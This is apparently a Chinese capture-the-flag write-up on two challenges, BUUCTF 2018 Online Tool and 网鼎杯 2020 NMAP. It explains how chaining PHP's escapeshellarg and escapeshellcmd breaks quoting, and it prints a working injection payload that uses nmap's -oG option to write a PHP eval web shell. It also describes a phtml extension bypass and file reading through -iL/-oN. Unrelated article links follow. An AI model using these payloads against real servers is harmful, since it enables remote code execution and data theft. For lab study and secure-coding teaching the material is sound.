[BUUCTF 2018]Online Tool

给出了源码 审计

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
} if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

发现是经过 escapeshellarg 和 escapeshellcmd函数过滤后 进行namp

百度一下escapeshellarg 和 escapeshellcmd函数的作用:

escapeshellarg:

escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数

功能 :escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,
这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号)

escapeshellcmd:

escapeshellcmd — shell 元字符转义

功能:escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。
此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。 反斜线(\)会在以下字符之前插入:
&#;`|\?~<>^()[]{}$*, \x0A 和 \xFF*。 *’ 和 “ 仅在不配对儿的时候被转义。
在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
粗略的总结一下:

escapeshellarg:将参数中的字符串两侧加上',并将其中的'进行转义 然后在两侧加上'达到拼接的目的

escapeshellcmd:将参数中的字符串中间的特殊字符转义,并且将落单的'进行转义

这两个函数本意都是防止进行额外的命令执行,但是这两个函数连在一起使用就会出现问题: escapeshellarg()+escapeshellcmd() 之殇

也就是说两个函数连续使用会造成'未被转义,从而触发命令执行

接下来看题目

system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);中的$host参数是我们可控的,可以根据上面的漏洞来进行命令执行

我们一步一步地尝试(中间的一些特殊字符的转义会省略,为了着重突出'和\)

由于|,&等符号都会被转义,我们可以尝试nmap命令-oG,可以实现将命令和结果写到指定文件中

  • 我们输入payload:?host=<?php eval($_POST["mwkks"]);?> -oG mwkks.php

经过escapeshellarg函数:'<?php eval($_POST["mwkks"]);?> -oG mwkks.php'

这样两边已经被加上了单引号,Linux会把引号中的当为字符串,不会解析变量(双引号中的变量仍会解析),这样我们的shell就无法写入

  • 根据前文提到的漏洞,我们尝试输入payload:?host='<?php eval($_POST["mwkks"]);?> -oG mwkks.php'

经过escapeshellarg函数:''\''<?php eval($_POST["mwkks"]);?> -oG mwkks.php'\'''

经过escapeshellcmd函数:''\\''<?php eval($_POST["mwkks"]);?> -oG mwkks.php'\\'''

拼接到system语句中:nmap -T5 -sT -Pn --host-timeout 2 -F ''\\''<?php eval($_POST["mwkks"]);?> -oG mwkks.php'\\'''

即nmap -T5 -sT -Pn --host-timeout 2 -F \<?php eval($_POST["mwkks"]);?> -oG mwkks.php\\

-oG后的文件会变成mwkks.php\\而不是我们预期的mwkks.php

所以我们传入正确的payload:?host=' <?php eval($_POST["mwkks"]);?> -oG mwkks.php '(区别在于多加了空格 让末尾的\和php后缀分开)

菜刀连一句话 得到flag

shell

[网鼎杯 2020 朱雀组]NMAP

这题一看到题目就想到了和上一题一样的思路 但是经过测试 发现php被过滤了

将php改为phtml 成功写入shell,得到flag

看别的师傅的Write Up学到了一个新的姿势 利用nmap语句 来进行文件读取:

访问http://.../mwkks.txt:

-iL和-oN命令解释如下:

-iL:

-iL  从inputfilename文件中读取扫描的目标。在这个文件中要有一个主机或者网络的列表,由空格键、制表键或者回车键作为分割符。如果使用-iL -,nmap就会从标准输入stdin读取主机名字。你可以从指定目标一节得到更加详细的信息`

-oN:

-oN <filespec> (标准输出)
要求将标准输出直接写入指定 的文件。

所以payload意思就是将指定文件下的内容输出到-oN后指定的文件

先到这里,以后有新姿势继续补充...

NMAP类型题目 (escapeshellarg,escapeshellcmd使用不当)的更多相关文章

  1. [原题复现+审计][BUUCTF 2018]WEB Online Tool(escapeshellarg和escapeshellcmd使用不当导致rce)

    简介  原题复现:https://github.com/glzjin/buuctf_2018_online_tool (环境php5.6.40)  考察知识点:escapeshellarg和escap ...

  2. Sum 类型题目总结

    Sum类的题目一般这样: input: nums[], target output: satisfied arrays/ lists/ number 拿到题目,首先分析: 1. 是几个数的sum 2. ...

  3. nSum “已知target再求和”类型题目总结:n-2重循环+left/right

    Sum类的题目一般这样: input: nums[], target output: satisfied arrays/ lists/ number 拿到题目,首先分析: 1. 是几个数的sum 2. ...

  4. leetcode 链表类型题目解题总结

    最基础的方式要做到非常熟练,要熟练到不思考就能写,但又需明白各处的要求和陷阱 合并两个有序链表的操作,在前面加上一个初始节点,注意while循环和退出时的处理,理解如何处理其中一个链表遍历完的情况 L ...

  5. leetcode math类型题目解题总结

    2. Add Two Numbers https://leetcode.com/problems/add-two-numbers/description/ class Solution { publi ...

  6. substring类型题目的解题模板

    https://discuss.leetcode.com/topic/30941/here-is-a-10-line-template-that-can-solve-most-substring-pr ...

  7. 编辑距离Edit Distance 非常典型的DP类型题目

    https://leetcode.com/problems/edit-distance/?tab=Description 真的非常好,也非常典型. https://discuss.leetcode.c ...

  8. 软工+C(2017第1期) 题目设计、点评和评分

    // 下一篇:分数和checklist 如何设计题目 教学中的一个问题是老师出题太简单了,题目设计一开始上来就不紧凑,我认为一个好的课程应该上来就给你紧凑感,而不是先上来"轻松2-3周&qu ...

  9. 软工+C(1): 题目设计、点评和评分

    // 下一篇:分数和checklist 如何设计题目 教学中的一个问题是老师出题太简单了,题目设计一开始上来就不紧凑,我认为一个好的课程应该上来就给你紧凑感,而不是先上来"轻松2-3周&qu ...

随机推荐

  1. .net core 中的经典设计模式的应用

    .net core 中的经典设计模式的应用 Intro 前段时间我们介绍了23种设计模式,今天来分享一下 asp.net core 种我觉得比较典型的设计模式的应用 实例 责任链模式 asp.net ...

  2. Shell编程—正则表达式

    1什么是正则表达式 1.1定义 正则表达式是你所定义的模式模板,Linux工具可以用它来过滤文本.Linux 工具(比如sed编辑器或gawk程序)能够在处理数据时使用正则表达式对数据进行模式匹配. ...

  3. 【干货!!】三句话搞懂 Redis 缓存穿透、击穿、雪崩

    前言 如何有效的理解并且区分 Reids 穿透.击穿和雪崩之间的区别,一直以来都挺困扰我的.特别是穿透和击穿,过一段时间就稀里糊涂的分不清了. 为了有效的帮助笔者自己,以及拥有同样烦恼的朋友们区分这三 ...

  4. java项目的心得,java项目的代码层次的架构划分

    java项目使用的架构是ssm(Spring+SpringMVC+MyBatis). 一.后台代码一般分三层,Controller,Service,Dao. 1.Controller层是对前端或者接口 ...

  5. .NET ORM 分表分库【到底】怎么做?

    理论知识 分表 - 从表面意思上看呢,就是把一张表分成N多个小表,每一个小表都是完正的一张表.分表后数据都是存放在分表里,总表只是一个外壳,存取数据发生在一个一个的分表里面.分表后单表的并发能力提高了 ...

  6. 科赫雪花利用python海龟绘图代码

    #KochDraw.py import turtle //海龟绘图 def koch(size, n): if n == 0: turtle.fd(size) else: for angle in [ ...

  7. linux系统指法练习与打字游戏软件

    以 fedora和ubuntu 系统为例,fedora/centos系统用yum install命令安装 ubuntu系统用apt-get instll命令安装 yum install ktouch$ ...

  8. Laravel ServiceProvider注册过程及简单使用

    Laravel ServiceProvider注册过程及简单使用 还记得facade注册流程吗?回顾下 在bootstrap/app.php中返回$app实例后,通过singleton方法绑定了三个实 ...

  9. 开源流数据公司 StreamNative 推出 Pulsar 云服务,推进企业“流优先”进程

    Apache 顶级项目 Pulsar 背后的开源流数据公司 StreamNative 宣布,推出基于 Apache Pulsar 的云端服务产品--StreamNative Cloud.该产品的发布, ...

  10. iOS NSOperation

    iOS NSOperation 一.简介 除了,NSThread和GCD实现多线程,配合使用NSOperation和NSOperationQueue也能实现多线程编程 NSOperation和NSOp ...